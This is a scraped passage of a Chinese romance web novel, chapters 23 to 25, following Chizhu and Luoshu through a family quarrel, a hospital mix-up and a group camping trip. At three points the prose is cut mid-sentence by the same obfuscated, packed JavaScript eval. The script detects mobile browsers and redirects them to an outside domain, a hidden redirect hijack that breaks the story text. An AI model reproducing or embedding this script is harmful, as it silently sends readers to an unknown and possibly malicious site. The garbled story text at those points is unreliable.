明明在印象里，洛姝出国了很长时间，蒋春燕无意中在他面前提到洛姝，得知她出国还很惊讶，完全不像是提前得知，更不像是与洛姝发生过不愉快。 “我哪有说错？自从她住进我们家，是不是总是有不间断的麻烦事出现！我们家之前是多么和谐的一家三口，自从她来就变得乌烟瘴气！” 蒋春燕没察觉出儿子变冷的气场，破罐子破摔地翻起旧账：“我就不该大发善心让她——” “收了洛亦祥银行卡的人难道不是你么？” 池煜淡声打断母亲的喋喋不休，他因昏涨的脑袋有些站不稳，单手扶着桌台，“你以为洛姝想寄人篱下看人脸色过日子？你所谓的大发慈心就是私底下收了她爸的银行卡还对她忽冷忽热的态度么？” “你认为的家庭和谐就是我跟池升都得对你有求必应，言听计从，一个字不能忤逆你。对吗？” 池煜突然觉得提起来这些很没意义，毕竟他现在搬来了粱城独居，远离了父母，那个曾让他一度想要逃离的原生家庭早就在父母离婚后不复存在，他也因此获得自由。 他吐出一口浊气，讥诮一笑：“洛姝出国这么多年，为什么你跟池升的婚姻还是走到了尽头。难道婚姻破裂的罪名也要强加到她头上？” “……” 这些年，蒋春燕的重心都放在自己的新家庭上，所有情感更倾向投入到小儿子身上，可池煜不管怎么说都是她身上掉下来的肉。 时隔多年再次争吵，又是跟洛姝有关，她怎肯矮下一头，脖颈涨红：“她、她……” “她从始至终对你们的态度都很尊敬，也请你给她同等的尊重。我不允许任何人——在我面前指责或是声讨她！” 池煜近乎低吼地厉声打断母亲的话，喉头一阵发干，他抵着唇重重咳了好几声，而后继续表明自己的立场：“她是什么样的人我最清楚，任何人都没资格来评头论足。以前我会护着她，现在依然照旧。” 蒋春燕胸口剧烈起伏，面目狰狞：“我为了你千里迢迢从浔城来到这里！你就是这么对我说话的？为了她你要跟我吵多少次？我这么多年为了你……” “我不需要！” 池煜恍若没有看见蒋春燕铁青的脸色，脸色难看到极点，他对这种强加在身上，让自己倍感束缚的母爱忍受到了极致，压抑了许久的情感骤然迸发。 “你这种自以为是的好我完全不需要，有了新的家庭就全身心地照顾丈夫和儿子啊，别再在我身上浪费时间消耗感情和精力。没必要。倘若你担心养老问题，我每个月都有打钱给你，这一点你无需担心。” 一口气说完，池煜冷着脸打开了门，此举送客的意味明显。 蒋春燕曾经把池升和池煜当做自己的一片天，后来与池升同床异梦，心渐渐冷了，把所有情感都投注在池煜身上，饶是现在有了新的家庭和孩子，待池煜仍是咄咄逼人的态度，其实心里她仍将池煜当做自己的顶梁柱。 可听到儿子说的这番话，算是彻底明白自己碰到了逆鳞，她没来由有希望惶恐：“……池煜你这是什么意思？” “字面意思。” 敏感小狗趴在窝里，小心翼翼抬着两只溜圆的眼睛，在母子两人身上来回扫着视线，它此刻已经将蒋春燕归为不速之客，暗暗呲着牙，却因没有主人发号施令，只能忍而不发。 “好你个池煜，养你那么大竟然为了——” 池煜却再无耐心听下去，卸了所有力气坐在沙发上：“德芙，送客。” “汪！” “……” 等到蒋春燕骂骂咧咧地离开，德芙关上门又叼着个玩具球到主人腿边躺下，池煜这才感觉到汹涌的疲倦萦绕周身，浑身像被抽了主心骨，心脏钝痛，痛得他无法喘息。 他躺在沙发上，抬手遮住眼睛。 倘若早早知情洛姝与蒋春燕之间发生的往事，池煜敢肯定在粱城见到她时，绝不会贸然上前寒暄，还会像留学时候偶然碰到她那样，只敢远远看一眼。 然后，接受她早已淡出自己的生活这一事实。 * 下午四点，糖果店依然维持着入不敷出的状态。 洛姝仍旧躺在单人沙发上小憩，突然听见店外一道急刹，紧接着便是凄厉的猫叫和咒骂，扰乱了这一整日的清闲。 她骤然从沙发上弹射起步，两三步冲到声源地。 罪魁祸首是骑着电动车的人，她正要发难，那人已经加速离开，片刻没了影踪，流浪猫缩在旧垃圾箱旁，连声儿都不敢发出来。 洛姝想要靠近，奈何流浪猫有些应激，朝她哈气，小小的一团缩到垃圾箱跟墙壁的夹缝中。 隔壁早餐铺的老板娘闻声赶来，说：“我看仔细了，它没被撞，之前就会一惊一乍。不过小洛你可得小心点儿，它会挠人，之前咱们这水果店的老板就被挠了几下，去打了几针呢。” “嗯，好。” 知道流浪猫没被撞，洛姝在心里松了口气，从店里拿了个罐头出来给它吃。 老板娘停在原地没走，问她：“你那个很帅的朋友呢，今天怎么没来找你？” 老板娘姓邢，洛姝自从来了之后和她打过几次照面就熟悉起来，平时喊她邢姐。 “我等会就去找他。” 邢姐朝远处一抬下巴，恰好看见路口站着的瘦高青年，他的外形实在是太优越，饶是离得远看不清五官，也会注意到他挺拔的身姿。 只不过他并没有选择靠近，也不知道站在原地多久，目光直直越过她，落在蹲在地上认真注视流浪猫干饭的洛姝身上。 说不清这目光带着什么情感，总之直到她的视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375747|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再次扫过去时，那抹高瘦的身影离开了，好似她瞥见的那一眼只是错觉。 邢姐有些纳闷，低头看着洛姝，“你俩是在打什么哑谜吗？” 流浪猫降低警惕，正大快朵颐地吃着猫罐头，它发出呼哧呼哧的声音，像是吃到了世间美味。 洛姝从它身上转移注意力，被邢姐这话，懵懵地抬头：“嗯？邢姐你说什么。” 这姑娘太瘦了，骨架也小，穿着棉服蹲在这里完全看不出臃肿只觉得苗条，这懵然的模样透着傻气的可爱。 邢姐觉得自己不该干涉小年轻的私事，“没什么。” 流浪猫吃完罐头便火急火燎地跑远了，洛姝也仅拍下来它那重影的小身板。 想起还发着烧在家躺着休息的池煜，她发了条迟来了七个小时的关心：退烧了没。 一直到她站在门口没有收到池煜的回复。 输入密码进门，室内一片漆黑，除了家电显示用量的电源外，再找不出光源。 洛姝猜测池煜还在睡，轻手轻脚开了灯，又麻利地换完鞋，做好这一切抬起头时，才发现池煜躺在沙发上，看起来睡得有些沉。 她把沙发边上的毛毯盖在池煜身上，刚要说话，他的胳膊从脸上移开，露出一双清明但略带红血丝的眼睛。 洛姝一怔，问出那条没能得到回复的消息内容：“退烧了吗？” 池煜握住洛姝手腕，嗓音沙哑地应了声：“嗯。” 洛姝只觉他掌心滚烫，触到她冰凉的腕子似火一样的感觉。 他眷恋地圈住她，脑袋搁在她肩上，一丝呼吸声都听不见。 肩头的下巴，环拥的双臂，力道轻得像是不小心碰了一下，洛姝反应过来时，池煜已经松开了。 有些奇怪，更多的是反常。 他的举动透露着一股说不清的情绪，洛姝觉得如果用一个词语来形容的话，或许用“克制”比较贴切。 她猜，也许是因为生病的缘故。 毕竟自己要是有个头昏脑涨也对任何事提不起兴趣，表露的状态也是颓丧颓丧的。可他又不太像是那种状态。 池煜已经撑起身站了起来，在她脑袋上轻轻摸了摸，其实不能算是摸，这更像是表达友好的方式，在她头顶上短暂地用掌心盖了下就收回手，“这么晚，饿了没，有没有想吃的。” 洛姝一向是在“今天吃什么”这个问题中，给不出任何参考答案的人，她诚实摇头，“没有。” 池煜沉吟片刻，给出建议：“吃面怎么样？我做打卤面很有一手。” “听你的。” 从小形影不离，学生时代又视彼此为珍宝的两个人，总是能轻而易举地察觉对方的反常，哪怕他的表现，看起来和平常无异。 “池煜。” 池煜回头，“嗯。” 洛姝盯着他疲惫的双眼：“你有心事？” 池煜歪着头笑，摇头：“没啊，怎么会这么问。” “我瞎猜的。”洛姝及时打住，也学着他的模样摇头，很轻地笑了一下。 心里却莫名感觉空了一块。 37. Chapter 23 “……医——院。嗯？” 邢茵夏看着只接通了七秒钟的电话，嘟囔：“怎么挂了。” 喊她邢姐的人多得数不过来，这声音听起来很急切，音色却因为语速过快而难以分辨。 下意识就想到了洛姝，这姑娘出门太着急忘带了手机，正欲开口，她就看见洛姝蹲在地上，从口袋里拿出两块巧克力递给小钊，“姐姐店里这个卖的可好了，都说很好吃，你尝尝。” 小钊还是第一次目睹父亲昏倒，他担惊受怕，眼眶通红，从来的路上就开始闷闷不乐，看见面前的巧克力，下意识看向邢茵夏。 他从小就被教导，任何人给的东西都要先过问爸爸妈妈，得到同意才可以拿。 “收下吧，快谢谢姐姐。” 小钊这才心安理得地接过来，展开笑容面对洛姝：“谢谢姐姐。” 邢茵夏去问骨科医生丈夫的情况，这一打岔就把把想对洛姝说的话抛到脑后，再想回忆竟然有些卡壳，怎么都想不起来。 她在洛姝肩上拍了拍，“时间也不早了，等会儿检查完也不知道要弄到几点，你店里还有几只小宠物要投喂呢，就先回去吧。我们有轮椅，到时候我推着他爸回去，就当是散步了。” 从石湖医院到宁玲巷步行要半个小时，老刘平时有吃完晚饭溜大步的爱好，跟着她们把林旭敬送来医院就走了，洛姝倒是在这里待了挺长时间，连饭都没吃。 “你帮了我这么大个忙，改天姐请你吃饭。” 洛姝笑笑，推辞：“不用啦邢姐。” “别跟姐客气。” 小钊还饿着肚子，邢茵夏陪同洛姝一起去大厅，两人一个直行出去给儿子买饭，一个去了大厅的卫生间。 邢茵夏没立刻出医院，孩子比较挑食，她拿不定主意买什么，准备先从软件上下单，刚解锁屏幕，一道急切地声音喊她：“邢姐。” 她抬头，五步远的距离，身高腿长的青年大步朝自己走来，步伐有些乱，表情也很凝重：“洛洛她……现在什么情况，还好吗，怎么会好端端的——” “池煜？” 洛姝洗完手走出来，听他语速飞快地跟邢姐说话，疑惑他怎么会找到医院来：“你怎么到这儿来了？” 池煜说到半途的话被掐断，他撇下还在聆听自己说话的邢茵夏，几乎是跑到洛姝面前，抚上她的手臂：“给你打了几通电话没接，我就去找你了，后面……我听说你从楼上摔下来了。” 虽然看见洛姝好端端站在自己面前，他还是不太敢相信自己眼前看见的，毕竟那个楼梯他走过，狭窄，也有些陡，稍一不注意可能真的会摔下来。 平时总是带着笑容的他，罕见地出现焦急神色，上上下下打量着洛姝，又伸出手去摸她的头，像是在寻找被磕到的脑袋包，“伤哪儿了？” 洛姝哭笑不得，用冷水洗过的手擦干后有些凉，她迅速握上池煜手腕，把他的手从头上拿下来，用手背贴住他额头：“我没受伤呀，倒是你退烧了没，我的手太冷，摸不出来。” “下午就退烧了。” 池煜平复了一下情绪，让自己看起来没那么焦急，问：“你呢，现在有没有哪儿不舒服的？” 两人互相关心的场面让邢茵夏想到了年轻时候和林旭敬谈恋爱的时候，也是这样生怕对方有个好歹，言语与行动之间都透露着浓浓关切。 她笑出声：“你是听水果店老太太说的吧？” 池煜：“嗯。” 邢茵夏忍俊不禁：“老太太年纪大了耳朵有些背，她听岔了。洛洛是送我家老林来的，我家老林颈椎病犯了，直接晕倒了。洛洛是记着送我们来医院所以忘了带手机。” 想起来那通七秒钟就被挂断的电话，“那通电话是你打给我的吧。” 今天晚上，池煜这颗心简直像玩了把疯狂大摆锤，始终惴惴，七上八下，剧烈跳动。 “听说是坐着轮椅来的，所以——” 知道是乌龙后，他才彻底放下心来，下意识就想像以前那样将洛姝冰冷的手握在自己手心里，在碰到她手背时突然又缩回去。 洛姝有点纳闷，想去碰他的手，他却已经自若地揣到口袋里去了。 洛姝：“……” 邢茵夏朝他俩飞了一个暧昧的笑容：“难怪这么着急呢，敢情是听错了消息。给我打的那通电话就几秒，问到医院地址就挂断了。人好好的站在你面前呢，把心放回肚子里吧。” 邢茵夏又跟两人聊了几句后催促他们早点回家。 洛姝跟池煜去了停车场，“你的手已经能摸方向盘了吗？” “是啊。”池煜用右手打了个清脆的响指，像是在证明自己的手已无大碍：“你把我想得那么脆弱么。” 洛姝轻飘飘道：“有人可是刚做完义举就喊疼啊。” 池煜只是笑，看着她解锁车子，帮她拉开了车门：“回去开慢些，到了给我发信息。” 洛姝系好安全带，听出来他画外音，嘴巴不过脑，随口说：“你不跟我回去？” 说完就后悔了。 他俩都是开车来的，走到这里就可以出门一个左转，一个右转，各回自己的住所，今天的联系就可以到此为止，毕竟还可以“明天见”。 池煜单手搭在车门框，看了眼漆黑的天色，像是没听见她说的，也没有回答她这话，尽可能地降低她此刻飙升的尴尬：“你今天起得很早，晚上回去好好睡一觉。” 他瞧见洛姝有些发红的耳垂，无声地勾起一个笑容，体贴地为关上车门，而后让开身，别的题外话一句都没有说。 没说再见，也没说明天见。 只是沉默地目送洛姝那辆车从自己的身侧慢腾腾离开，直到她彻底离开视线。 * 一周后，不知什么原因，一向生意惨淡的木丸糖果店似乎朝网红店靠拢，有很多年轻人会来打卡，买下合心意的糖果，顺便和不怕生的猫合影。 最近这几天，早上九点到下午五点总有客人光临，糖果店相较于之前的冷淡可以说是很热闹。 下午四点五十九，店里的最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15385466|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后一位客人有些激动地对洛姝说：“太出片啦，你们家的糖果很好吃，包装很精致，下次还会来的。” 女孩离开后，墙上的时钟也指向五点，这意味着这一天的营业时间到此为止。 洛姝打了个哈欠，拎起早已收拾好的包，锁上门，营业中的牌子调转换成休息中，动作麻利，一气呵成。 巷子里出现狗叫声，啪嗒啪嗒的踩在石砖上，动静闹得很大，紧接着就是说话声：“洛姝。” 洛姝偏头，没想到在这儿看见唐烨。 他牵着的是看见她兴奋地摇起尾巴的德芙。 “怎么是你来遛狗？”她问着，又拿起钥匙要把店门打开。 “池煜让我帮忙照顾的。不进去了，省的那些猫被德芙吓到。”唐烨随口问：“你这是去哪儿呢。” 梁诺诺来了粱城，洛姝打算去高铁站接她：“怎么是你遛狗，池煜人呢？” “你也不知道他去哪儿了？”唐烨纳罕：“我以为你知道呢，这几天没见你去店里玩，还以为你俩在一块呢。” “没啊。” 算起来洛姝自从那次在停车场跟池煜分别后就没再见了。 “嘿，这人还失联了。” 唐烨嘟囔着，滑开手机翻通讯录，扯住狗绳往回走，“那行，不耽误你接朋友了。回见，有空带你朋友来店里玩啊。” 德芙一步三回头，有些不舍。 “嗯，一定。” 洛姝朝德芙挥了挥手，琢磨着唐烨说的那句“失联”，点开微信，才发现最后一次跟池煜的聊天记录，停在三天前。 * 唐烨出了巷子口，电话也已经拨到池煜那边：“你忙什么呢最近。” 池煜回得简洁：“健身。” “哇草，兄弟，行啊，这就是你所谓的有事，出门几天？” 池煜：“嗯。” 唐烨呵了一声：“你跟洛姝是不是出现感情问题了？” “没啊，能不能盼着我点好。”池煜笑了声。 唐烨不信：“那她怎么要走了，人已经出发去高铁站了。” 他说话一向夸张，添油加醋：“人已经出发去高铁站了，你听到没，别撸铁了成吗。” “听到了。没什么事就先挂了。” 尾音未落，通话已经毫不犹豫掐断。 唐烨本想找到池煜的微信，翻半天没看见，干脆噼里啪啦在群里发消息：@池煜你不对劲。 秒回的是苏望月：咋了咋了，放个耳朵。 唐烨：洛姝去高铁站了，大包小包的，一看就是不在这待了。这小子也没去追。难道移情别恋了？ 仍旧是苏望月秒回：移个屁。 苏望月打字都是几个字几个字的蹦，噼里啪啦一大堆下来，凑一块也不过就是一句赌约：之前他以为洛姝结婚了，还上赶着想当什么小三小四呢，他要是移情别恋我就给头拧下来。 被手机消息扰的不耐烦的池煜看见后：…… 看见豪言壮志flag的唐烨：…… 38. Chapter 24 “你的意思是——” 梁诺诺坐在副驾，调整了个舒服的姿势，听完好闺蜜的分析后，沉吟片刻，才想出一个确切的词来总结概括：“池煜对你在欲擒故纵。” “感觉。”洛姝强调。 梁诺诺来粱城这一趟算是过去了十年再次故地重游。 她跟洛姝把小半个粱城的美食吃了个遍，也听完了洛姝这段时间待在粱城发生的事情，以及暧昧着的两个人似乎出现了一些状况。 她提出相悖观点：“池煜他看起来不像诶，他对你不是那种''发起进攻''吗？” 洛姝送邢茵夏一家三口去医院已经是半个月前的事，她跟池煜最后一次聊天是在三天前，就是单纯的你来我往，完全感受不到热络气氛。 可她带着谢雨杉来粱城的时候，池煜总是在想方设法和她见面，现在她有了大把的时间，他就像是过了头脑冷静期，又或是可以称之为新鲜感，那一阵子感觉过去之后，态度突然淡了下来。 明知池煜不是见异思迁的人，洛姝还是因为这种细小的差别，感受到了一些说不清的冷待。即便她来这的目的，并不是仅仅想跟池煜呆在一起。 难道是她的敏感用错了地方？ 梁诺诺沉吟了片刻，才说：“你俩谁的消息垫底？” 洛姝没有犹豫：“是我。” “你发了啥呀，为啥不回你？”梁诺诺还真有点好奇消息内容了，池煜不是自从在粱城见到洛姝就开始穷追不舍吗，没道理不回洛姝微信。难道不怕她又一声不吭一走了之吗，毕竟有过先例。 趁着红灯，洛姝腾出手找到聊天记录给梁诺诺看，最后是她垫的底，一张动态的小猫伸头表情包，很可爱。 再接着往上看，是洛姝发的：晚安。 再往上看，是池煜先发的那两个字。 两人的聊天内容完全就是问候早中晚，连分享一些趣事都没有，像极了两个定好时间就互道早安午安晚安的机器人。 “嗯，如果照这么说的话。” 梁诺诺扶额，提出相悖观点：“我怎么感觉是你在欲擒故纵呢？毕竟从你到粱城来，他的态度可以说非常热情。反观你嘛……” 她不说了，意思已经很到位。 “……” 洛姝哑然。 梁诺诺反应很快，“不过话又说回来嘛，你让他消息垫底从而跟他断联，原因肯定出在他身上——对吧？” “不见面只发消息的话，文字显得整个人都很冷冰冰啊。”洛姝敲下字后都会带个表情包，显得生动一点，可是池煜不一样，他给自己发的消息是纯文字，连哈哈都没见他发过，看起来很冷漠。 “你们以前难道不发消息？” 洛姝说得理所应当：“以前同一屋檐下天天见，不用发消息呀。” 后来去了伦敦刻意不去想关于他的一切，哪里还会发送消息联络感情。 “那现在去见面不就好啦！” 看着她行驶的方向偏离了导航，梁诺诺不由得问：“咱们去哪儿，这是回店里的路吗？” “不是。” 洛姝单手搭在方向盘，做了个出发的手势：“咱们现在就去＇夜色浓＇。” * 进入三月份，天气已有回暖的迹象。 酒吧街迎来了每年的淡季，晚上九点，来“夜色浓”客人只有平时的一小部分，吉他手雷打不动，还在弹着舒缓的曲子，低声唱着歌。 唐烨一下午都在店里闭关，没出门，在店里随便找了个位置坐。 小李看了一圈，店里没怎么见到熟悉的面孔，更没有多少人。眼看手里的活忙完了，他凑到唐烨跟前，说：“望月哥还没追到人吗，慕挽姐也不见来了。老板最近我掰着手指头都能数过来，洛洛姐更是没见她过来。” 唐烨叼着根烟在嘴里，含糊不清道：“你老板嘛，说出来可笑，八成在躲小青梅呢。” 李净听了太多关于池煜和洛姝的八卦，压根不信：“啊？不是吧，不是说煜哥好不容易才见到洛洛姐的吗——” “说我什么呢？”池煜推门走了进来。 唐烨抬眼一瞧，啧了声：“哟，稀客，怎么舍得光临小店啊，简直让咱小店啊……” 李净接道：“蓬荜生辉。” “你俩可以去谭西那边说相声。”池煜径直朝二楼休息室走。 小李好奇心压不住了，忙叫住他：“诶诶，煜哥煜哥，别走呀，咱哥几个唠唠嗑呗。” 池煜不知道他葫芦里卖得什么药：“嗯？” “最近洛洛姐很忙吗？”李净尽量让自己的语气听起来不那么八卦：“怎么不见她来啊？” “她带朋友在粱城玩了一圈，没空来。” 李净嘴快：“来我们店里也是玩呀。烨哥这嘴皮子溜，还能介绍介绍风土人情呢。” 池煜笑笑没说话，继续朝楼上走，李净还在说：“再说了，洛洛姐自己也是个门外汉，哪里知道粱城有哪些地方好玩儿的，是吧——哎呦，煜哥你怎么走了？呀，洛洛姐，好久不见！” 池煜关门的动作滞住，安静听着楼下的洛姝正在给梁诺诺介绍唐烨和李净，随后便问这附近有没有什么适合的地方，她打算和梁诺诺去露营。 李净是粱城人，从小就闲不住，不少地方都去过，哪儿有好玩的好吃的，他基本都知道一些，提议：“我看下周温度高达二十五呢，去小蝶山露营烧烤也不错诶，那边的风景到了春天还是挺美的。” 唐烨掏出手机看天气：“嘿还真是，下周五开始温度飙升，蛮热的，连外套都省得穿了，这天气露营正合适。” 池煜正好在这个当口下楼，对上梁诺诺视线的时候，笑着颔首：“好久不见。你们聊什么呢，小李笑得那么开心，我在休息室都听见了。” 李净仍在笑，“煜哥你快来，洛姐打算跟梁姐去露营，下周天气不错，挺适合出去玩的。” 唐烨没去过那地方，顺手搜了一下小蝶山：“我看每年春天去小蝶山的人还挺多，露营烧烤，钓鱼什么的，项目挺丰富。你俩单独去有啥意思，要不捎上我们几个一块呗，人多也热闹。店里现在处于淡季，客人不多，事也少，正好又是周末，可以清闲几天，就当过个短假了。” “可以啊。” 洛姝和梁诺诺都没什么意见，多几个人安全系数要高很多，而且也热闹。 小李兴奋道：“我也去我也去，我会钓鱼，到时候咱们带个烧烤架还能烤鱼。” 唐烨：“总不能光吃你钓的鱼，咱们得买点食材带去自给自足。” 梁诺诺低头找攻略：“那就下周六，咱们一块去吧。我来看看露营要带的必需品。” 五个人里边，三个人都在低头敲手机，都和下周六的露营有关，洛姝用手肘碰了下没有发表看法的池 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15394048|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 煜，“想什么呢？” “不是说要去露营么。”池煜笑了下，把桌上的果盘推到洛姝面前：“在想带些什么过去，顺便给德芙也带去跑一跑。” “最近去哪些地方玩了？”他问着，又给洛姝拿了碟小饼干。 “其实就是瞎跑，哪儿有好吃的就去哪。”洛姝夸张地伸出一只手：“你能看出来我胖了五斤吗？” 说着话的功夫，她吃了颗草莓，一半酸一半甜的口感，中和下来就是酸，她皱了下眉，很快松开。 池煜摇头，她本来就很瘦，胖了五斤也看不太出来，笑她：“完全看不出来。” “你说话诓我呢吧？” 池煜唇边溢出一丝笑：“哪有啊。” 洛姝从鼻子里哼哼两声，心里却莫名轻松很多。好奇怪，似乎只要她和池煜见到面，说上话，之前在心里反复挣扎的心理活动，胡思乱想的那些东西全都消散了。 * 五个人在周五下午便到达了小蝶山附近，打算在这里待个三天两晚。 “咱们抢占了先机。” 李净下了车在各处望了望，只有他们五个人，周围地上不像是有安营扎寨的痕迹：“往年这个时候，这里可来了不少人，身子一转就能夹到别人火锅里正在煮的牛肉丸。” “这么夸张。” “那可不，因为那个人就是我。” “……” 唐烨撑开月亮椅，直接躺上去，体验了一下后，咕哝：“这椅子钓鱼能合适吗，钓鱼钓一半再睡着了。” 小李傻笑了一下，把焚火台搬下来，德芙就跟在他身后，好奇地盯着他的一举一动。 洛姝抱着西瓜去了小溪边，下午三点半的太阳还算明媚，照着小溪波光粼粼，旁边那颗巨树的枝叶长出绿色嫩芽，在水中能清晰看见倒影。 再仔细看，还能看见灵活的游鱼穿梭在各个嶙峋的石头中，只一眨眼便躲起来。 她仔细洗干净西瓜表皮放到桌上，去帮池煜搭帐篷。 天气热，池煜穿着短袖，露出一截结实流畅的手臂，因手部用力导致肌肉绷紧，血管攀在手臂显得更加肌理分明，瞧着也比受伤之前更壮。 右手手臂上那些细小的疤早已长出了新肉，愈合后泛着白，比周围肌肤的颜色还要再浅一些。 他无论做什么都是很认真对待，光洁的额头上有细密的水珠，看起来像是汗，阳光下有些闪。 他像是毫无所觉，又像是完全不在意，只是抬起手背碰了一下鼻尖，而后仔细地看了眼说明书后便丢在一旁自己动手，有条不紊地开始搭帐篷。 洛姝静静看了片刻，走近他，“池煜。” “嗯？” 池煜抬起脸，手里动作停下，一动不动地望着她眼睛。他那双湿润润的杏眼，让洛姝想到了平时乖顺的德芙。 只要捧起它的脸，再摸摸它的脑袋，就能获得一个疯狂摇尾巴的欢快小狗。 “洛洛，怎么了？” 他一出声，让洛姝恍然回过神来，垂下眼才发现，自己一只手捧着他的脸，另一只手竟然在挠他下巴，俨然是把他当成了德芙。 反应过来自己在做什么，洛姝倏然收回手。 想装作什么都没发生已经来不及了，因为池煜笑了，低低笑出声来，握住她那只挠了他下巴的手腕，“你这是给我当成小狗了？” “……” 39. Chapter 25 “虽然说出来很冒犯，但确实有点儿像德芙眨巴着眼睛的样子……有点萌。” 裸露在外的手腕因被池煜握在手中而感受到源源不断的热意，愣神的功夫，他便松开，笑着摇头：“听起来可不像是夸人的意思。” “当然，我夸的是德芙。” 洛姝忍俊不禁，朝远处喊了声：“德芙，看我。” 金毛狗子立刻看过来，没有贸然来找她，只是蹲在那儿摇着尾巴。 洛姝两手一摊，像在为自己的行为开脱：“你看，是不是说很像，可能这就是狗狗随主人吧？” “你是夸它眼睛大么。” “当然。” 池煜笑着说：“有人可是从小被夸眼睛大的。” 这个人就是洛姝。 她小时候就长得很漂亮，谢玫和洛亦祥带她出去的时候，没有不夸的，那双眼睛也总是被人说是，水汪汪的，看起来会说话一样。 洛姝从鼻子里哼哼两声，跑到桌前拿了个橘子，在底部剥开口，直接连着橘皮一分为二，她剔掉果肉外的脉络，拿起其一塞到嘴里，果汁爆进口腔的那一刻，她险些管理不了自己的表情，抬起手挡住自己的脸，头深深埋下去。 酸、实在是…… 太！酸！了！ 看起来清爽可口的橘子竟然内里酸涩无比。 池煜就在她对面不远处，对这一幕尽收眼底，忍俊不禁：“酸？” 洛姝缓了半秒钟，咽下酸中带苦的橘子瓣，抬起头，露出一个毫无破绽的笑容：“不酸。” “那你刚刚……”池煜意有所指地歪头。 “太好吃了，有点兴奋。”洛姝仍笑着，把手里那一半完全没动过的酸橘递过去：“尝尝，真的挺甜的。” “真的假的。”他问。 洛姝笑得不怀好意，把橘子一整个都递给他：“你尝尝就知道了。” 清香气扑鼻而来，池煜的手沾了灰没法拿，可他也没有立刻咬上橘子瓣，只是盯着她泛着粉的指尖和圆润的指甲，稍稍往后躲了一下，笑着说：“我等会再吃。”还记得以前，洛姝只要吃到酸的东西，都会让他也尝尝。 “等会你要是忘了呢？”这是从认识池煜以来，洛姝第一次被他拒绝。 这种失落的感觉还挺新奇，她拿出一瓣，递到他唇边，有点强买强卖的架势：“啊——” 池煜看了她片刻，而后启唇吃进腹中，违心地夸：“很甜。” 他擦干净手，把剩下的给了李净：“小李，尝尝，保甜。” 小李顺手接过来，鼓动着腮帮子吃了几瓣：“确实还可以诶。” 他很能吃酸，橘子这点酸度对他来说完全不值一提。梁诺诺尝过后，又给了唐烨。 唐烨问：“谁剥的？” 小李说：“煜哥剥的。” 唐烨没多想，随口问：“甜吗？不甜不吃。” 四个人异口同声：“甜。” 唐烨把剩下的橘子全都塞到了嘴里，果汁在空腔里爆开的那一瞬间，他脸上的表情很精彩。 几个人不约而同想到了同一款游戏——植物大战僵尸。僵尸啃到大蒜的狰狞表情，可以说唐烨模仿出了十足的精髓，“池煜，我*你大爷！” …… 气氛就这么活跃了起来，帐篷也赶在太阳下山的时候成功搭建完毕。 女孩子出门在外会更精致细致些，哪怕是住帐篷。等到洛姝和梁诺诺收拾好帐篷出来时，焚火台上的烧烤嗞嗞嗞冒油星，香味扑鼻。 池煜和唐烨在帮忙串烤串，李净负责烤，还不忘招呼两人：“快来，这可是我独家的烧烤秘方。” “来了。” 瞥见德芙朝远处狂奔，狗绳还套在身上，在地上拖出长长的印子，也不知道是看见了什么新奇有趣的东西。 洛姝慢梁诺诺两步，让她先过去，“我看看德芙干什么去。” “德芙。” 她喊了声，可惜狗子并不买账。 “那有点黑，打个手电筒吧。”梁诺诺看向金毛小狗跑去的地方，没有路灯，只有他们这边有光亮，实在不放心洛姝便也跟上：“我跟你一起。” 唐烨“诶”了声：“池煜，德芙跑了你去看看。” 他朝梁诺诺招手：“它只听它俩主人的话，你先过来，小李这个烧烤的功夫确实不一般。” 池煜放下手里的东西，洗干净手追在洛姝后面。 梁诺诺看着暧昧期一前一后的两个人，看唐烨笑得暧昧：“故意让他俩单独相处的吧。” 唐烨笑笑：“你去了就当电灯泡了，不太建议。”毕竟那种滋味他可太懂了。 梁诺诺想了想，突然觉得有点道理：“说得也是。” 德芙跑得欢快，但因为已经是十岁的高龄，体力显得有些力不从心。 越往深处越黑暗，洛姝远远看见狗子扑倒了一团黑色的东西在撕扯，看不清是什么东西，也没听见发出任何嚎叫，耳边只能听见呼啸的风。 她心里一紧：“德芙，快回来。” 一向听话的狗子没应声。 洛姝焦急地回头看了眼，池煜已经越过她往前走，她想拉却没拉住，赶忙打开手电筒，这才发现德芙口中叼着的不明物体只是一只被风吹鼓胀的黑色塑料袋。 德芙还在用爪子扑着玩，池煜走上前扯掉塑料袋团起来放在手里，问：“被吓到了？” 洛姝松了一口气：“嗯，还以为是鸟或者动物之类的。” “放心，它没那么残暴，见到同类都会发抖。” 池煜哄着狗子：“走了，这个带回去给你玩。” 洛姝转了个身等在前面，池煜在身后五步远说：“带路吧，我们两个跟在你身后。” 天色彻底暗下气，唯有远处他们安营扎寨的地方亮着光源。 